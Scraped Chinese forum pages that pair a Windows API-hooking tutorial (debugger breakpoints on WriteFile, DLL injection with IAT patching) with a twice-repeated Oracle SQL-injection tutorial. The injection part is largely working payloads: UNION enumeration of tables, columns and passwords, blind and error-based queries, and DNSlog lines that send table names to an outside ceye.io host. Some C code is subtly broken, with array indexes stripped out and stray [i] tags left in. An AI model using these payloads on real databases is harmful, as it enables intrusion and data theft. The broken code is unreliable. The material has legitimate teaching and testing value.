                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i] 查看全部
 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
  1. IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。
  2. 代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。
  3. EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。


如何向目标进程设置钩取函数:
  1. 调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。
  2. 注入法

 
调试法:
 
伪代码
Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
}
 
#include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}

 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取

 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  
BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
  1. 将 DLL 注入进目标进程。
  2. 替换目标进程 IAT 中的 API 地址。
  3. 将阿拉伯数字跟改为中文数字。




0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
  1. 找到目标 API 在 IAT 中的存储地址。
  2. 得到我们的函数的地址。
  3. 进行替换。

  0x2.1:如何找到目标 API 在 IAT 中的存储地址
  1. 找到内存中导入表地址。
  2. 遍历 IID,找到目标 DLL 对应的 IID。
  3. 遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。

  具体实现:
//参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}

    
 
0x3:将阿拉伯数字更换为中文数字     
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]


[i][i][i] DLL 全部的代码:[/i][/i][/i]
[i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i]

Oracle数据库手注

数据库SQL语言fireant 发表了文章 • 1 个评论 • 561 次浏览 • 2019-07-09 16:31 • 来自相关话题

0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
服务器:win server 2008中间件:IIS7.0数据库:Oracle Database 18c企业版版本18.0.0.0.0前端语言:ASP
 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库create database databasename
2、删除数据库drop database dbname
3、备份数据库* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
 4、数据库还原打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
2、删除表drop table tabname
3、重命名表 说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
4、增加字段说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);
5、修改字段说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
6、重名字段说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
7、删除字段
  说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
8、添加主键alter table tabname add primary key(col)
9、删除主键alter table tabname drop primary key(col)
10、创建索引create [unique] index idxname on tabname(col….)
11、删除索引
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
12、创建视图create view viewname as select statement
13、删除视图drop view viewname
三、Oracle操作数据
1、数据查询select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
2、插入数据insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');
3、更新数据update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;
4、删除数据* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快
5、数据复制* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1; 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)




'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符 
0x04联合查询
1.判断列数:order by 3 显示正常
order by 4 显示错误
则为有三列数据
 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null,null from dual 返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型





3.判断显示位and 1=2 union select 1,'2','3' from dual -- 将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位




 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --





6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --





7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME

















8.探测关键字段的数据and 1=2 union select id,name,pass from student where id=3 --




Oracle联合查询——DNSlog注入
此方法需要Oracle数据库用户拥有网络访问权限
手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/
UTL_HTTP.REQUESTunion SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.8dktk9.ceye.io'),null FROM DUAL








UTL_INADDR.GET_HOST_ADDRESSunion SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||'.here.8dktk9.ceye.io'),null FROM DUAL



HTTPURITYPEunion SELECT null,HTTPURITYPE((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io').GETCLOB(),null FROM DUAL
DBMS_LDAP.INITunion SELECT null,DBMS_LDAP.INIT((select table_name from user_tables where rownum=1)||'.port.8dktk9.ceye.io',80),null FROM DUAL


0x05盲注
一、布尔盲注
1.获取数据表个数
count()函数获取字符串个数and (select count(table_name) from user_tables)>2 -- 页面报错
and (select count(table_name) from user_tables)=2 -- 页面正常,即表个数为2





2.获取第一个表的字符个数
length()函数判断字符个数and (select length(table_name) from user_tables where rownum=1)>7 -- 页面报错
and (select length(table_name) from user_tables where rownum=1)=7 -- 页面正常 ,即第一个表的字符数为7


















2.获取第一个表的第一个字符
substr( )函数
substring()
作用:截取字符串
用法:substr(string,num start,num length)
           string 为字符串
           start  为起始长度从1开始
           length 为长度
 
ascii()函数
作用:返回字符串str的字符ASCII码值。入果str是空字符串,返回0,入果string是NULL,返回NULLand ascii(substr((select table_name from user_tables where rownum=1),1,1))=83 -- 页面正常,即第一个字符为ascii值83所对应的字母。为W 






二、时间盲注
对oracle进行时间盲注通常使用decode()函数
decode函数有很多种功能,在这里我们主要用到它可以比较字符串的功能。类似if-then语句。
 
DECODE(expr, search, result
             [, search, result ]...
       [, default ]
      )
DECODE函数会依次比较expr与search的值,如果expr等于search的值,那么DECODE函数将会返回search后面对应的result的值。如果到最后也没有匹配成功,那么便会返回最后面的default
 
类似 C++ 里面的switch语句。
 
该Payload的核心思想便是,根据表达式与search的值是否匹配,来决定是否执行高耗时SQL操作。
 
例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
 
1.探测第一个表名的第一个字符and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'S',(select count(*) from all_objects),1) from dual) 执行这条语句是页面延迟,即第一个表名的第一个字符为S






0x06报错注入
1.使用 dbms_xdb_version.checkin()进行报错注入and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null -- 探测数据库版本信息
 





2.使用dbms_xdb_version.makeversioned()进报错注入and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
 





3.报错注入其他payloadand (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null --
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null --

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user) --
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
 
 
 
0x07参考文献
 
http://www.teagle.top/index.php/archives/149/
https://www.freebuf.com/column/146464.html
 
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions040.htm 查看全部
0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
  • 服务器:win server 2008
  • 中间件:IIS7.0
  • 数据库:Oracle Database 18c企业版版本18.0.0.0.0
  • 前端语言:ASP

 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库
create database databasename

2、删除数据库
drop database dbname

3、备份数据库
* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y

 4、数据库还原
打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>

2、删除表
drop table tabname

3、重命名表
  说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename

4、增加字段
说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);

5、修改字段
说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));

6、重名字段
说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;

7、删除字段
  
说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;

8、添加主键
alter table tabname add primary key(col)

9、删除主键
alter table tabname drop primary key(col)

10、创建索引
create [unique] index idxname on tabname(col….)

11、删除索引
 
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。

12、创建视图
create view viewname as select statement

13、删除视图
drop view viewname

三、Oracle操作数据
1、数据查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]

2、插入数据
insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');

3、更新数据
update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;

4、删除数据
* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快

5、数据复制
* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1;
 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)

TIM截图20190708180910.png
'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
and 1=2 显示错误
则为无闭合符
 
0x04联合查询
1.判断列数:
order by 3  显示正常
order by 4 显示错误
则为有三列数据

 
2.判断字符类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null,null from dual    返回正常

and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

TIM截图20190708182255.png


3.判断显示位
and 1=2 union select 1,'2','3' from dual --    将null用数字代替,上面判断出为字符型的加上单引号,即可判断出对应的显示位

TIM截图20190708184239.png

 
4.探测数据库版本信息
rownum 对于等于某值的查询条件
如果希望找到学生表中第一条学生的信息,可以使用rownum=1作为条件。但是想找到学生表中第二条学生的信息,使用rownum=2结果查不到数据。因为rownum都是从1开始,但是1以上的自然数在rownum做等于判断是时认为都是false条件,所以无法查到rownum = n(n>1的自然数) 
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual --

TIM截图20190709094254.png


5.探测第一个表名
user_tables表为Oracle数据库的默认表,表下有字段table_name对应所有用户创建的表名
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual --

TIM截图20190709095138.png


6.探测第二个表名
注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'STUDENT'
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual --

TIM截图20190709102423.png


7.探测关键表的字段
user_tab_columns表为Oracle数据库的默认表, 表下有字段table_name和column_name对应所有的用户创建的表名,字段名
and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1),null from dual --

and 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID'),null from dual -- 排除第一个字段名ID

tand 1=2 union select null,(select column_name from user_tab_columns where table_name='STUDENT' and rownum=1 and column_name<>'ID' and column_name<>'NAME'),null from dual -- 排除前两个字段名ID和NAME







TIM截图20190709101904.png


TIM截图20190709102756.png


8.探测关键字段的数据
and 1=2 union select id,name,pass from student where id=3  --

